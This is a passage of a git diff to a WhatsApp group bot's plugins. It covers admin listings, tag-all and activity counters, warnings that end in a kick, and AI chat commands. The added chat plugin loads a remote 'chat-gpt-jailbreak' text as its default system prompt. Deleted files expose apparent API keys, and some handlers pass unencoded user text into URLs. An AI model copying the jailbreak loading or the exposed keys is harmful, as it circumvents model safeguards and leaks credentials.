-${usedPrefix + command} welcome @user
-${usedPrefix + command} bye @user
-${usedPrefix + command} promote @user
-${usedPrefix + command} demote @user`.trim(), wm, null, [['WELCOME', '#simulate welcome'], ['BYE', '#simulate bye']])
-let mentions = text.replace(event, '').trimStart()
-let who = mentions ? conn.parseMention(mentions) : []
-let part = who.length ? who : [m.sender]
-let act = false
-m.reply(`*Simulando ${event}...*`)
-switch (event.toLowerCase()) {
-case 'add':
-case 'invite':
-case 'welcome':
-case 'bienvenida':
-act = 'add'
-break
-case 'bye':
-case 'kick':
-case 'leave':
-case 'remove':
-case 'sacar':
-act = 'remove'
-break
-case 'promote':
-case 'daradmin':
-case 'darpoder':
-act = 'promote'
-break
-case 'demote':
-case 'quitaradmin':
-case 'quitarpoder':
-act = 'demote'
-break
-default:
-throw 'error, ingrese una opcion valida'
-}
-if (act) return conn.participantsUpdate({
-id: m.chat,
-participants: part,
-action: act
-})}
-handler.help = ['simulate [@mention]','simular ']
-handler.tags = ['owner']
-handler.command = /^simulate|simular$/i
-handler.group = true
-export default handler
diff --git a/plugins/grupo-staff.js b/plugins/grupo-staff.js
new file mode 100644
index 000000000..989177fd0
--- /dev/null
+++ b/plugins/grupo-staff.js
@@ -0,0 +1,33 @@
+let handler = async (m, { conn, participants, metadata, args }) => {
+const pp = await conn.profilePictureUrl(m.chat, 'image').catch(_ => null) || './media/Menu1.jpg'
+const groupAdmins = participants.filter(p => p.admin)
+const listAdmin = groupAdmins.map((v, i) => {
+let jid = v.id
+if (jid.endsWith('@lid') && v.participantAlt && v.participantAlt.endsWith('@s.whatsapp.net')) {
+jid = v.participantAlt
+}
+return `${i + 1}. @${jid.split('@')[0]}`
+}).join('\n➥ ')
+
+let owner = metadata.owner || groupAdmins.find(p => p.admin === 'superadmin')?.id || m.chat.split`-`[0] + '@s.whatsapp.net'
+let text = `•══✪〘 *STAFF* 〙✪══•
+
+> *𝐒𝐞 𝐧𝐞𝐜𝐞𝐬𝐢𝐭𝐚 𝐥𝐚 𝐩𝐫𝐞𝐬𝐞𝐧𝐜𝐢𝐚 𝐝𝐞 𝐮𝐧 𝐚𝐝𝐦𝐢𝐧𝐬*
+
+*• 𝐆𝐫𝐮𝐩𝐨:* ${metadata.subject}
+
+*• 𝐀𝐝𝐦𝐢𝐧𝐬:*
+➥ ${listAdmin}
+
+> [ ⚠ ️] *ᵁˢᵃʳ ᵉˢᵗᵉ ᶜᵒᵐᵃⁿᵈᵒ ˢᵒˡᵒ ᶜᵘᵃⁿᵈᵒ ˢᵉ ᵗʳᵃᵗᵉ ᵈᵉ ᵘⁿᵃ ᵉᵐᵉʳᵍᵉⁿᶜᶦᵃ*`.trim()
+
+const mentions = [...groupAdmins.map(v => v.participantAlt?.endsWith('@s.whatsapp.net') ? v.participantAlt : v.id), owner]
+await conn.sendFile(m.chat, pp, 'staff.jpg', text, m, false, { mentions })
+}
+handler.help = ['staff']
+handler.tags = ['group']
+handler.command = ['staff', 'admins', 'listadmin']
+handler.group = true
+handler.register = true
+
+export default handler
diff --git a/plugins/grupo-tagall.js b/plugins/grupo-tagall.js
index 46a7bfe43..e1b8301f1 100644
--- a/plugins/grupo-tagall.js
+++ b/plugins/grupo-tagall.js
@@ -1,21 +1,77 @@
-let handler = async(m, { isOwner, isAdmin, conn, text, participants, args, command }) => {
-if (!(isAdmin || isOwner)) {
-global.dfail('admin', m, conn)
-throw false
-}
-let vn = './media/Invocar.mp3'
+import { db } from '../lib/postgres.js';
+
+let handler = async (m, { conn, text, participants, metadata, args, command }) => {
+
+if (/^(tagall|invocar|invocacion|todos|invocación)$/i.test(command)) {
let pesan = args.join` `
let oi = `*𝙈𝙚𝙣𝙨𝙖𝙟𝙚:* ${pesan}`
-let teks = `╭┄〔 *${wm}* 〕┄⊱\n┆⺀𝘼𝙘𝙩𝙞𝙫𝙚 𝙜𝙧𝙪𝙥𝙤𝙨 🗣️⺀*\n┆\n┆❏ ${oi}\n┆\n┆❏ *𝙀𝙩𝙞𝙦𝙪𝙚𝙩𝙖𝙨:*\n`
+let teks = `*⺀ ACTIVE GRUPO 🗣️⺀*\n\n❏ ${oi} \n\n❏ *𝙀𝙩𝙞𝙦𝙪𝙚𝙩𝙖𝙨:*\n`
+let menciones = []
+
for (let mem of participants) {
-teks += `┆🔸 @${mem.id.split('@')[0]}\n`}
-teks += `*└* 𝑻𝒉𝒆 𝑳𝒐𝒍𝒊𝑩𝒐𝒕-𝑴𝑫\n\n*▌│█║▌║▌║║▌║▌║▌║█*`
-conn.sendMessage(m.chat, { text: teks, mentions: participants.map(a => a.id) }, )
-conn.sendFile(m.chat, vn, 'Invocar.mp3', null, m, true, { type: 'audioMessage', ptt: true, sendEphemeral: true })
+let numero = null
+if (mem.id.endsWith('@lid')) {
+if (mem.participantAlt && mem.participantAlt.endsWith('@s.whatsapp.net')) {
+numero = mem.participantAlt.split('@')[0]
+menciones.push(mem.participantAlt)
+} else {
+const res = await db.query('SELECT num FROM usuarios WHERE lid = $1', [mem.id])
+numero = res.rows[0]?.num || null
+if (numero) menciones.push(mem.id)
+}} else if (/^\d+@s\.whatsapp\.net$/.test(mem.id)) {
+numero = mem.id.split('@')[0]
+menciones.push(mem.id)
+}
+
+if (numero) {
+teks += `➥ @${numero}\n`
+}}
+await conn.sendMessage(m.chat, { text: teks, mentions: menciones }, { quoted: m })
+}
+
+if (command == 'contador') {
+const result = await db.query(`SELECT user_id, message_count
+ FROM messages
+ WHERE group_id = $1`, [m.chat])
+
+let memberData = participants.map(mem => {
+const userId = mem.id
+const userData = result.rows.find(row => row.user_id === userId) || { message_count: 0 }
+return { id: userId, alt: mem.participantAlt, messages: userData.message_count }
+})
+
+memberData.sort((a, b) => b.messages - a.messages)
+let activeCount = memberData.filter(mem => mem.messages > 0).length
+let inactiveCount = memberData.filter(mem => mem.messages === 0).length
+let teks = `*📊 Actividad del grupo 📊*\n\n`
+teks += `□ Grupo: ${metadata.subject || 'Sin nombre'}\n`
+teks += `□ Total de miembros: ${participants.length}\n`
+teks += `□ Miembros activos: ${activeCount}\n`
+teks += `□ Miembros inactivos: ${inactiveCount}\n\n`
+teks += `*□ Lista de miembros:*\n`
+
+for (let mem of memberData) {
+let numero = null
+if (mem.id.endsWith('@lid')) {
+if (mem.alt && mem.alt.endsWith('@s.whatsapp.net')) {
+numero = mem.alt.split('@')[0]
+} else {
+const res = await db.query('SELECT num FROM usuarios WHERE lid = $1', [mem.id])
+numero = res.rows[0]?.num || null
+}} else if (/^\d+@s\.whatsapp\.net$/.test(mem.id)) {
+numero = mem.id.split('@')[0]
}
-handler.help = ['tagall ','invocar ']
+if (numero) {
+teks += `➥ @${numero} - Mensajes: ${mem.messages}\n`
+}}
+
+await conn.sendMessage(m.chat, { text: teks, mentions: memberData.map(mem => mem.alt?.endsWith('@s.whatsapp.net') ? mem.alt : mem.id).filter(jid => jid.endsWith('@s.whatsapp.net') || jid.endsWith('@lid')) }, { quoted: m })
+}}
+handler.help = ['tagall ', 'invocar ', 'contador']
handler.tags = ['group']
-handler.command = /^(tagall|invocar|invocacion|todos|invocación)$/i
+handler.command = /^(tagall|invocar|invocacion|todos|invocación|contador)$/i
handler.admin = true
handler.group = true
+//handler.botAdmin = true
+
export default handler
diff --git a/plugins/grupo-warn.js b/plugins/grupo-warn.js
new file mode 100644
index 000000000..f88d61bf2
--- /dev/null
+++ b/plugins/grupo-warn.js
@@ -0,0 +1,49 @@
+import { db } from '../lib/postgres.js';
+
+const maxwarn = 3;
+
+let handler = async (m, { conn, text, args, usedPrefix, command, metadata }) => {
+try {
+let who;
+if (m.isGroup) {
+who = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender : false;
+} else {
+who = m.chat;
+}
+
+if (!who) return m.reply(`*¿A quién le doy una advertencia?* Etiqueta a la persona con @tag o cita su mensaje.`)
+const userResult = await db.query(`SELECT * FROM usuarios WHERE id = $1`, [who]);
+if (!userResult.rows.length) return m.reply(`*⚠️ ¿Quién carajo es ese?* No aparece en mi base de datos.`)
+
+const name = (await conn.getName(m.sender)) || m.sender.split('@')[0];
+let warn = userResult.rows[0].warn || 0;
+
+if (warn < maxwarn) {
+await db.query(`UPDATE usuarios
+ SET warn = warn + 1
+ WHERE id = $1`, [who]);
+warn += 1;
+
+let reason = text.trim() || 'No especificada';
+await conn.reply(m.chat, `*⚠️ ADVERTENCIA ⚠️*\n\n@${who.split`@`[0]} fuiste advertido por el admin: ${name}\n*• Tiene:* ${warn}/${maxwarn} advertencias\n*• Razón:* ${reason}`, m)
+} else if (warn >= maxwarn) {
+await db.query(`UPDATE usuarios
+ SET warn = 0
+ WHERE id = $1`, [who]);
+await conn.reply(m.chat, `⚠️ El usuario @${who.split`@`[0]} superó las *${maxwarn}* advertencias y será eliminado del grupo...`, m)
+await delay(3000);
+await conn.groupParticipantsUpdate(m.chat, [who], 'remove');
+}
+} catch (err) {
+console.error(err);
+}};
+handler.help = ['warn @user [razón]'];
+handler.tags = ['group'];
+handler.command = /^warn$/i;
+handler.group = true;
+handler.admin = true;
+handler.botAdmin = true;
+handler.register = true;
+
+export default handler;
+const delay = ms => new Promise(resolve => setTimeout(resolve, ms));
\ No newline at end of file
diff --git a/plugins/herramienta-id.js b/plugins/herramienta-id.js
new file mode 100644
index 000000000..799c0cde9
--- /dev/null
+++ b/plugins/herramienta-id.js
@@ -0,0 +1,10 @@
+let handler = async (m, { conn, text, isOwner }) => {
+let USER_ID = m.user.lid
+conn.fakeReply(m.chat, USER_ID, '0@s.whatsapp.net', `👇 AQUI ESTA TU NUMERO OCULTO "LID" 👇`, 'status@broadcast')
+//m.reply(USER_ID)
+}
+handler.help = ['mylid'];
+handler.tags = ['tools'];
+handler.command = /^mylid$/i;
+
+export default handler;
diff --git a/plugins/herramientas-acortar.js b/plugins/herramientas-acortar.js
deleted file mode 100644
index 25c93a4c3..000000000
--- a/plugins/herramientas-acortar.js
+++ /dev/null
@@ -1,20 +0,0 @@
-
-import fetch from 'node-fetch'
-let handler = async(m, { conn, args, text }) => {
-if (!text) throw '* 𝙔 𝙚𝙡 𝙚𝙣𝙡𝙖𝙘𝙚?*\n*𝙞𝙣𝙜𝙧𝙚𝙨𝙚 𝙚𝙣𝙡𝙖𝙘𝙚 𝙥𝙖𝙧𝙖 𝙖𝙘𝙤𝙧𝙩𝙖*'
-let shortUrl1 = await (await fetch(`https://tinyurl.com/api-create.php?url=${args[0]}`)).text()
-if (!shortUrl1) throw `*[❗] ᴇʀʀᴏʀ, ᴄᴏᴍᴘʀᴜᴇʙᴇ ǫᴜᴇ ᴇʟ ᴛᴇxᴛᴏ ɪɴɢʀᴇsᴀᴅᴏ sᴇᴀ ᴜɴ ᴛᴇxᴛᴏ ᴇ ɪɴᴛᴇɴᴛᴇ ᴅᴇ ɴᴜᴇᴠᴏ*`
-let done = `*✅ sᴇ ʀᴇᴀʟɪᴢᴏ ᴄᴏɴ ᴇxɪᴛᴏ!!*\n\n*ᴇɴʟᴀᴄᴇ ᴅᴇ ᴀɴᴛᴇs:*\n${text}\n*ʟɪɴᴋ ᴀᴄᴏʀᴛᴀᴅᴏ:*\n${shortUrl1}`.trim()
-m.reply(done)}
-handler.help = ['tinyurl','acortar'].map(v => v + ' ')
-handler.tags = ['tools']
-handler.command = /^(tinyurl|short|acortar|corto)$/i
-handler.limit = 1
-handler.register = true
-handler.fail = null
-export default handler
-
-
-
-
-
diff --git a/plugins/herramientas-base64.js b/plugins/herramientas-base64.js
new file mode 100644
index 000000000..4c3235307
--- /dev/null
+++ b/plugins/herramientas-base64.js
@@ -0,0 +1,18 @@
+const handler = async (m, { text, usedPrefix, command }) => {
+ if (!text) return m.reply(`✳️ Usa:\n${usedPrefix + command} texto`);
+
+ try {
+ const base64 = Buffer.from(text, 'utf-8').toString('base64');
+ return m.reply(`${base64}`);
+ } catch (e) {
+ return m.reply(`❌ Error al convertir: ${e.message}`);
+ }
+};
+
+handler.help = ['tobase64']
+handler.tags = ['tools']
+handler.command = ['tobase64']
+handler.register = true
+handler.limit = 1
+
+export default handler
diff --git a/plugins/herramientas-calc.js b/plugins/herramientas-calc.js
deleted file mode 100644
index a414765b0..000000000
--- a/plugins/herramientas-calc.js
+++ /dev/null
@@ -1,38 +0,0 @@
-let handler = async (m, { conn, text }) => {
-let id = m.chat
-conn.math = conn.math ? conn.math : {}
-if (id in conn.math) {
-clearTimeout(conn.math[id][3])
-delete conn.math[id]
-m.reply('*😨 𝑾𝒕𝒇 𝒏𝒐 𝒉𝒂𝒈𝒂 𝒕𝒓𝒂𝒎𝒑𝒂!!*')
-}
-let val = text
-.replace(/[^0-9\-\/+*×÷πEe()piPI/]/g, '')
-.replace(/×/g, '*')
-.replace(/÷/g, '/')
-.replace(/π|pi/gi, 'Math.PI')
-.replace(/e/gi, 'Math.E')
-.replace(/\/+/g, '/')
-.replace(/\++/g, '+')
-.replace(/-+/g, '-')
-let format = val
-.replace(/Math\.PI/g, 'π')
-.replace(/Math\.E/g, 'e')
-.replace(/\//g, '÷')
-.replace(/\*×/g, '×')
-try {
-console.log(val)
-let result = (new Function('return ' + val))()
-if (!result) throw result
-m.reply(`*${format}* = _${result}_`)
-} catch (e) {
-if (e == undefined) throw `${mg}𝑰𝒏𝒈𝒓𝒆𝒔𝒆 𝒆𝒍 𝒐𝒑𝒆𝒓𝒂𝒕𝒊𝒗𝒐 𝒎𝒂𝒕𝒆𝒎𝒂́𝒕𝒊𝒄𝒂 𝒑𝒂𝒓𝒂 𝒄𝒂𝒍𝒄𝒖𝒍𝒂𝒓 𝒆𝒍 𝒓𝒆𝒔𝒖𝒍𝒕𝒂𝒅𝒐`
-throw `${fg}𝑺𝒐𝒍𝒐 𝒔𝒆 𝒂𝒅𝒎𝒊𝒕𝒆 𝒏𝒖́𝒎𝒆𝒓𝒐𝒔 𝒚 𝒔𝒊́𝒎𝒃𝒐𝒍𝒐𝒔, -, +, * , /, ×, ÷, π, e, (, )*`
-}}
-handler.help = ['calc ']
-handler.tags = ['tools']
-handler.command = /^(calc(ulat(e|or))?|kalk(ulator)?)$/i
-handler.limit = 1
-handler.register = true
-handler.exp = 5
-export default handler
diff --git a/plugins/herramientas-chagpt.js b/plugins/herramientas-chagpt.js
new file mode 100644
index 000000000..5aef583d8
--- /dev/null
+++ b/plugins/herramientas-chagpt.js
@@ -0,0 +1,160 @@
+import fetch from 'node-fetch';
+import fs from 'fs';
+import path from 'path';
+import axios from 'axios';
+import { blackboxAi, exoml, perplexity } from '../lib/scraper.js';
+import { db } from '../lib/postgres.js';
+
+const handler = async (m, {conn, text, usedPrefix, command}) => {
+let username = m.pushName
+if (!text) return m.reply(`*Hola cómo esta 😊, El que te puedo ayudar?*, ingrese una petición o orden para usar la función de chagpt\n*Ejemplo:*\n${usedPrefix + command} Recomienda un top 10 de películas de acción`)
+let syst = `Actuaras como un Bot de WhatsApp el cual fue creado por elrebelde, tu seras LoliBot.`
+let syms1 = await fetch('https://raw.githubusercontent.com/Skidy89/chat-gpt-jailbreak/main/Text.txt').then(v => v.text());
+
+const chatId = m.chat;
+let systemPrompt = '';
+let ttl = 86400; // 1 día por defecto
+let memory = [];
+
+try {
+const { rows } = await db.query('SELECT sautorespond, memory_ttl FROM group_settings WHERE group_id = $1', [chatId]);
+systemPrompt = rows[0]?.sautorespond || '';
+ttl = rows[0]?.memory_ttl ?? 86400;
+} catch (e) {
+console.error("❌ Error obteniendo prompt o TTL:", e.message);
+}
+
+if (!systemPrompt) {
+try {
+systemPrompt = await fetch('https://raw.githubusercontent.com/Skidy89/chat-gpt-jailbreak/main/Text.txt').then(r => r.text());
+} catch {
+systemPrompt = syms1;
+}}
+
+try {
+const res = await db.query('SELECT history, updated_at FROM chat_memory WHERE chat_id = $1', [chatId]);
+const { history = [], updated_at } = res.rows[0] || {};
+const expired = !ttl || (updated_at && Date.now() - new Date(updated_at) > ttl * 1000);
+memory = expired ? [] : history;
+} catch (e) {
+console.error("❌ Error leyendo memoria:", e.message);
+}
+
+if (!memory.length || memory[0]?.role !== 'system' || memory[0]?.content !== systemPrompt) {
+ memory = [{ role: 'system', content: systemPrompt }];
+}
+memory.push({ role: 'user', content: text });
+if (memory.length > 25) memory = [memory[0], ...memory.slice(-24)];
+
+if (command == 'ia' || command == 'chatgpt') {
+await conn.sendPresenceUpdate('composing', m.chat)
+let result = '';
+try {
+result = await exoml.generate(memory, systemPrompt, 'llama-4-scout');
+} catch (e) {
+try {
+let gpt = await fetch(`${info.apis}/ia/gptprompt?text=${text}?&prompt=${systemPrompt}`);
+let res = await gpt.json();
+result = res.data;
+} catch {
+result = "❌ No se pudo generar una respuesta.";
+}}
+memory.push({ role: 'assistant', content: result });
+
+try {
+await db.query(`INSERT INTO chat_memory (chat_id, history, updated_at)
+ VALUES ($1, $2, NOW())
+ ON CONFLICT (chat_id) DO UPDATE SET history = $2, updated_at = NOW()
+ `, [chatId, JSON.stringify(memory)]);
+} catch (e) {
+console.error("❌ No se pudo guardar memoria:", e.message);
+}
+return await m.reply(result);
+}
+
+if (command == 'openai' || command == 'chatgpt2') {
+await conn.sendPresenceUpdate('composing', m.chat);
+try {
+let gpt = await fetch(`https://api.dorratz.com/ai/gpt?prompt=${text}`)
+let res = await gpt.json()
+const decoded = JSON.parse(`"${res.result}"`);
+await m.reply(decoded);
+} catch {
+try {
+let gpt = await fetch(`${info.apis}/ia/gptweb?text=${text}`)
+let res = await gpt.json()
+await m.reply(res.gpt)
+} catch {
+try {
+let gpt = await fetch(`${info.apis}/api/ia2?text=${text}`)
+let res = await gpt.json()
+await m.reply(res.gpt)
+} catch {
+try {
+let gpt = await fetch(`${info.apis}/ia/chatgpt?q=${text}`)
+let res = await gpt.json()
+await m.reply(res.data)
+} catch (e) {
+}}}}}
+
+if (command == 'deepseek') {
+await conn.sendPresenceUpdate('composing', m.chat);
+try {
+const gpt = await fetch(`https://api.dorratz.com/ai/deepseek?prompt=${encodeURIComponent(text)}`);
+const res = await gpt.json();
+const decoded = JSON.parse(`"${res.result}"`);
+await m.reply(decoded);
+} catch (e) {
+console.error('Error DeepSeek:', e);
+await m.reply('❌ Error al consultar DeepSeek API.');
+}}
+
+if (command == 'gemini') {
+await conn.sendPresenceUpdate('composing', m.chat)
+try {
+let gpt = await fetch(`https://api.dorratz.com/ai/gemini?prompt=${text}`)
+let res = await gpt.json()
+await m.reply(res.message)
+} catch {
+try {
+let gpt = await fetch(`https://delirius-apiofc.vercel.app/ia/gemini?query=${text}`)
+let res = await gpt.json()
+await m.reply(res.message)
+} catch {
+}}}
+
+if (command === 'blackbox') {
+const result = await blackboxAi(text);
+if (result.status) return await m.reply(result.data.response);
+return await m.reply("❌ Error de blackbox.ai: " + result.error);
+}
+
+if (command == 'copilot' || command == 'bing') {
+await conn.sendPresenceUpdate('composing', m.chat)
+try {
+let gpt = await fetch(`https://api.dorratz.com/ai/bing?prompt=${text}`)
+let res = await gpt.json()
+await conn.sendMessage(m.chat, { text: res.result.ai_response, contextInfo: {
+externalAdReply: {
+title: "[ IA COPILOT ]",
+body: "LoliBot",
+thumbnailUrl: "https://qu.ax/nTDgf.jpg",
+sourceUrl: "https://api.dorratz.com",
+mediaType: 1,
+showAdAttribution: false,
+renderLargerThumbnail: false
+}}}, { quoted: m })
+//m.reply(res.result.ai_response)
+} catch {
+try {
+let gpt = await fetch(`${info.apis}/ia/bingia?query=${text}`)
+let res = await gpt.json()
+await m.reply(res.message)
+} catch {
+}}}}
+handler.help = ["chagpt", "ia", "openai", "gemini", "copilot", "blackbox", "deepseek"]
+handler.tags = ["buscadores"]
+handler.command = /^(openai|chatgpt|ia|ai|openai2|chatgpt2|ia2|gemini|copilot|bing|deepseek|blackbox)$/i;
+export default handler;
+
+const delay = (ms) => new Promise(resolve => setTimeout(resolve, ms));
\ No newline at end of file
diff --git a/plugins/herramientas-chatGPT.js b/plugins/herramientas-chatGPT.js
deleted file mode 100644
index 8020de5f4..000000000
--- a/plugins/herramientas-chatGPT.js
+++ /dev/null
@@ -1,28 +0,0 @@
-import fetch from 'node-fetch'
-import axios from 'axios'
-import translate from '@vitalets/google-translate-api'
-import { Configuration, OpenAIApi } from 'openai'
-const configuration = new Configuration({ organization: global.openai_org_id, apiKey: global.openai_key });
-const openaiii = new OpenAIApi(configuration);
-let handler = async (m, { conn, text, usedPrefix, command }) => {
-if (usedPrefix == 'a' || usedPrefix == 'A') return
-if (!text) throw `*${lenguajeGB['smsAvisoMG']()}𝙄𝙉𝙂𝙍𝙀𝙎𝙀 𝙐𝙉𝘼 𝙋𝙀𝙏𝙄𝘾𝙄𝙊𝙉 𝙊 𝙐𝙉𝘼 𝙊𝙍𝘿𝙀𝙉 𝙋𝘼𝙍𝘼 𝙐𝙎𝘼𝙍 𝙇𝘼 𝙁𝙐𝙉𝘾𝙄𝙊𝙉 𝘿𝙀𝙇 𝘾𝙃𝘼𝙏𝙂𝙋𝙏\n\n❏ 𝙀𝙅𝙀𝙈𝙋𝙇𝙊 𝘿𝙀 𝙋𝙀𝙏𝙄𝘾𝙄𝙊𝙉𝙀𝙎 𝙔 𝙊𝙍𝘿𝙀𝙉𝙀𝙎\n❏ ${usedPrefix + command} Recomienda un top 10 de películas de acción`
-try {
-conn.sendPresenceUpdate('composing', m.chat)
-let syms = `Actuaras como un Bot de WhatsApp el cual fue creado por elrebelde, tu seras The-LoliBot-MD`
-let res = await gpt.ChatGpt(text, syms)
-await m.reply(res.text)
-} catch {
-try {
-let ia2 = await fetch(`https://api.amosayomide05.cf/gpt/?question=${text}&string_id=${m.sender}`) //fetch(`https://api.ibeng.tech/api/info/openai?text=${text}&apikey=tamvan`)
-let resu2 = await ia2.json()
-m.reply(resu2.response.trim())
-} catch {
-try {
-let tioress = await fetch(`https://api.lolhuman.xyz/api/openai-turbo?apikey=${lolkeysapi}&text=${text}`)
-let hasill = await tioress.json()
-m.reply(`${hasill.result}`.trim())
-} catch {
-}}}}
-handler.command = ['openai', 'chatgpt', 'ia', 'robot']
-export default handler
diff --git a/plugins/herramientas-chatgpt-Voz.js b/plugins/herramientas-chatgpt-Voz.js
deleted file mode 100644
index fd73f7bec..000000000
--- a/plugins/herramientas-chatgpt-Voz.js
+++ /dev/null
@@ -1,134 +0,0 @@
-/* -------------------------------------------------------*/
-/* [❗] [❗] [❗] */
-/* */
-/* |- [ ⚠ ] - CREDITOS DEL CODIGO - [ ⚠ ] -| */
-/* —◉ DESAROLLADO POR OTOSAKA: */
-/* ◉ Otosaka (https://github.com/6otosaka9) */
-/* */
-/* —◉ FT: */
-/* ◉ BrunoSobrino (https://github.com/BrunoSobrino) */
-/* */
-/* [❗] [❗] [❗] */
-/* -------------------------------------------------------*/
-import fetch from 'node-fetch';
-import gtts from 'node-gtts';
-import {readFileSync, unlinkSync} from 'fs';
-import {join} from 'path';
-import axios from 'axios';
-import translate from '@vitalets/google-translate-api';
-import {Configuration, OpenAIApi} from 'openai';
-const configuration = new Configuration({organization: global.openai_org_id, apiKey: global.openai_key});
-const openaiii = new OpenAIApi(configuration);
-const idioma = 'es'
-//const sistema1 = await fetch(`https://raw.githubusercontent.com/Skidy89/chat-gpt-jailbreak/main/Text.txt`).then(v => v.text());
-const sistema1 = `Actuaras como un Bot de WhatsApp el cual fue creado por elrebelde, tu seras The-LoliBot-MD`;
-const handler = async (m, {conn, text, usedPrefix, command}) => {
-if (usedPrefix == 'a' || usedPrefix == 'A') return;
-if (!text) throw `*${lenguajeGB['smsAvisoMG']()}𝙄𝙉𝙂𝙍𝙀𝙎𝙀 𝙐𝙉𝘼 𝙋𝙀𝙏𝙄𝘾𝙄𝙊𝙉 𝙊 𝙐𝙉𝘼 𝙊𝙍𝘿𝙀𝙉 𝙋𝘼𝙍𝘼 𝙐𝙎𝘼𝙍 𝙇𝘼 𝙁𝙐𝙉𝘾𝙄𝙊𝙉 𝘿𝙀𝙇 𝘾𝙃𝘼𝙏𝙂𝙋𝙏\n\n❏ 𝙀𝙅𝙀𝙈𝙋𝙇𝙊 𝘿𝙀 𝙋𝙀𝙏𝙄𝘾𝙄𝙊𝙉𝙀𝙎 𝙔 𝙊𝙍𝘿𝙀𝙉𝙀𝙎\n❏ ${usedPrefix + command} Recomienda un top 10 de películas de acción\n❏ ${usedPrefix + command} Codigo en JS para un juego de cartas`
-try {
-conn.sendPresenceUpdate('recording', m.chat);
-async function getOpenAIChatCompletion(texto) {
-const openaiAPIKey = global.openai_key;
-let chgptdb = global.chatgpt.data.users[m.sender];
-chgptdb.push({ role: 'user', content: texto });
-const url = "https://api.openai.com/v1/chat/completions";
-const headers = { "Content-Type": "application/json", "Authorization": `Bearer ${openaiAPIKey}` };
-const data = { "model": "gpt-3.5-turbo", "messages": [{ "role": "system", "content": sistema1 }, ...chgptdb, ]};
-const response = await fetch(url, {method: "POST", headers: headers, body: JSON.stringify(data)});
-const result = await response.json();
-const finalResponse = result.choices[0].message.content;
-return finalResponse;
-};
-let respuesta = await getOpenAIChatCompletion(text);
-if (respuesta == 'error' || respuesta == '' || !respuesta) return XD; // causar error undefined para usar otra api
-const audio1 = await tts(respuesta, idioma);
-await conn.sendMessage(m.chat, {audio: audio1, fileName: 'error.mp3', mimetype: 'audio/mpeg', ptt: true}, {quoted: m});
-} catch {
-try {
-const botIA222 = await openaiii.createCompletion({model: 'text-davinci-003', prompt: text, temperature: 0.3, max_tokens: 4097, stop: ['Ai:', 'Human:'], top_p: 1, frequency_penalty: 0.2, presence_penalty: 0});
-if (botIA222.data.choices[0].text == 'error' || botIA222.data.choices[0].text == '' || !botIA222.data.choices[0].text) return XD; // causar error undefined para usar otra api
-const audio2 = await tts(botIA222.data.choices[0].text, idioma);
-await conn.sendMessage(m.chat, {audio: audio2, fileName: 'error.mp3', mimetype: 'audio/mpeg', ptt: true}, {quoted: m});
-} catch {
-try {
-const fgapi1 = await fetch(`https://api-fgmods.ddns.net/api/info/openai?text=${text}&symsg=${sistema1}&apikey=XlwAnX8d`);
-const fgjson1 = await fgapi1.json();
-if (fgjson1.result == 'error' || fgjson1.result == '' || !fgjson1.result) return XD; // causar error undefined para lanzar msg de error
-const audio3 = await tts(fgjson1.result, idioma);
-await conn.sendMessage(m.chat, {audio: audio3, fileName: 'error.mp3', mimetype: 'audio/mpeg', ptt: true}, {quoted: m});
-} catch {
-try {
-const vihangayt1 = await fetch(`https://vihangayt.me/tools/chatgpt?q=${text}`);
-const vihangaytjson1 = await vihangayt1.json();
-if (vihangaytjson1.data == 'error' || vihangaytjson1.data == '' || !vihangaytjson1.data) return XD; // causar error undefined para usar otra api
-const audio4 = await tts(vihangaytjson1.data, idioma);
-await conn.sendMessage(m.chat, {audio: audio4, fileName: 'error.mp3', mimetype: 'audio/mpeg', ptt: true}, {quoted: m});
-} catch {
-try {
-const vihangayt2 = await fetch(`https://vihangayt.me/tools/chatgpt2?q=${text}`);
-const vihangaytjson2 = await vihangayt2.json();
-if (vihangaytjson2.data == 'error' || vihangaytjson2.data == '' || !vihangaytjson2.data) return XD; // causar error undefined para usar otra api
-const audio5 = await tts(vihangaytjson2.data, idioma);
-await conn.sendMessage(m.chat, {audio: audio5, fileName: 'error.mp3', mimetype: 'audio/mpeg', ptt: true}, {quoted: m});
-} catch {
-try {
-const vihangayt3 = await fetch(`https://vihangayt.me/tools/chatgpt3?q=${text}`);
-const vihangaytjson3 = await vihangayt3.json();
-if (vihangaytjson3.data == 'error' || vihangaytjson3.data == '' || !vihangaytjson3.data) return XD; // causar error undefined para usar otra api
-const audio6 = await tts(vihangaytjson3.data, idioma);
-await conn.sendMessage(m.chat, {audio: audio6, fileName: 'error.mp3', mimetype: 'audio/mpeg', ptt: true}, {quoted: m});
-} catch {
-try {
-const tioress22 = await fetch(`https://api.lolhuman.xyz/api/openai?apikey=${lolkeysapi}&text=${text}&user=${m.sender}`);
-const hasill22 = await tioress22.json();
-if (hasill22.result == 'error' || hasill22.result == '' || !hasill22.result) return XD; // causar error undefined para usar otra api
-const hasill22_result = await translate(`${hasill22.result}`, {to: idioma, autoCorrect: true});
-const audio7 = await tts(hasill22_result.text, idioma);
-await conn.sendMessage(m.chat, {audio: audio7, fileName: 'error.mp3', mimetype: 'audio/mpeg', ptt: true}, {quoted: m});
-} catch {
-try {
-const searchString2 = ' Indonesia ';
-const replacementString2 = ' español ';
-const rres = await fetch(`https://api.ibeng.tech/api/others/chatgpt?q=Hola&apikey=eMlBNRzUXv`);
-const jjson = await rres.json();
-if (jjson.data == 'error' || jjson.data == '' || !jjson.data) return XD; // causar error undefined para usar otra api
-const hahaha = await translate(`${jjson.data}`, {to: idioma, autoCorrect: true});
-const sextS = hahaha.text;
-const replacedText = sextS.replace(searchString2, replacementString2).trim();
-const audio8 = await tts(replacedText, idioma);
-await conn.sendMessage(m.chat, {audio: audio8, fileName: 'error.mp3', mimetype: 'audio/mpeg', ptt: true}, {quoted: m});
-} catch {
-try {
-const akuariapi2 = await fetch(`https://api.akuari.my.id/ai/gpt?chat=${text}`);
-const akuariapijson2 = await akuariapi2.json();
-if (akuariapijson2.respon == 'error' || akuariapijson2.respon == '' || !akuariapijson2.respon) return XD; // causar error undefined para lanzar msg de error
-const akuariapiresult2 = await translate(`${akuariapijson2.respon}`, {to: 'es', autoCorrect: true});
-const audio9 = await tts(akuariapiresult2.text, idioma);
-await conn.sendMessage(m.chat, {audio: audio9, fileName: 'error.mp3', mimetype: 'audio/mpeg', ptt: true}, {quoted: m});
-} catch {
-try {
-const akuariapi1 = await fetch(`https://api.akuari.my.id/ai/gbard?chat=${text}`);
-const akuariapijson1 = await akuariapi1.json();
-if (akuariapijson1.respon == 'error' || akuariapijson1.respon == '' || !akuariapijson1.respon) return XD; // causar error undefined para usar otra api
